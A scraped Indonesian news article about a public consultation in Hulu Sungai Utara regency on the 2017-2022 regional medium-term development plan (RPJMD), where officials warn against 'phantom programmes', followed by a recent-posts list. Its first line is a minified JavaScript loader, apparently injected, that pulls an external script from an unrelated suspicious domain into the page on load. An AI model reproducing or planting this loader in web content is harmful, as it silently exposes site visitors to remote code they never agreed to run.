(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bahas RPJMD 2017-2022 HSU, Pelaksanaan Jangan Ada ‘Program Siluman’


AMUNTAI, Pelaksana Tugas (Plt) Sekertaris Daerah (Sekda) Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) H Suyadi membuka secara resmi forum konsultasi publik Rencana Pembangunan Jangka Menengah Daerah (RPJMD) tahun 2017-2022 di aula Badan Perencanaan Pembangunan Penelitian dan Pengembangan (Bappelitbang) HSU, Selasa (14/11).

Pembahasan RPJMD diikuti perwakilan SKPD, Komisi di DPRD HSU, LSM, Camat, Perkades dan tokoh masyarakat.

Plt Sekda HSU H Suyadi mengatakan, berdasarkan kepada Undang-undang Nomer 23 tahun 2014 tentang pemerintah daerah yang mempunyai tugas menyusun dan mengajukan rancangan perda RPJMD kepada DPRD untuk dibahas bersama, dengan RPJMD yang berlaku selama 5 tahun.

Suyadi menambahkan, RPJMD 2017-2022 harus selesai paling lama 6 bulan, apabila belum dapat diselesaikan maka akan mendapatkan sanksi, sehingga diharapkan RPJMD ini dapat tepat waktu diselesaikannya.

Melalui forum ini diharapkan rancangan awal RPJMD dapat disempurnakan dan melalui forum ini pula segala masalah yang ada dapat diselesaikan.

“Konsultasi ini sangat penting karena untuk mendapatkan masukan-masukan dari seluruh pemangku kepentingan, karena itu implementasinya baik RKPD, APBD jangan sampai menyimpang dari RPJMD yang dianggap sebagai program siluman,” pungkasnya.

Kepala Bappelitbang HSU H Fajeri Ripani mengatakan, pembahasan RPJMD untuk Kabupaten HSU ini untuk memperoleh masukan dari seluruh pemangku kepentingan sebagai bahan awal RPJMD 2017-2022.

“Adapun permasalahan daerah yang mana kesenjangan antara kinerja pembangunan yang dicapai dengan yang direncanakan, yaitu bidang infrastruktur, sosial dan bidang ekonomi,” ungkap Fajeri.

Fajeri mengharapkan dari program tujuan, sasaran dan arah kebijakan awal RPJMD dapat masukan yang tepat dari semua pemangku kepentingan guna menjalankan RPJMD kedepan.(dewahyudi)


Desy Arfianty

Recent Posts

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

38 menit ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

42 menit ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

2 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

2 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

17 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

19 jam ago

This website uses cookies.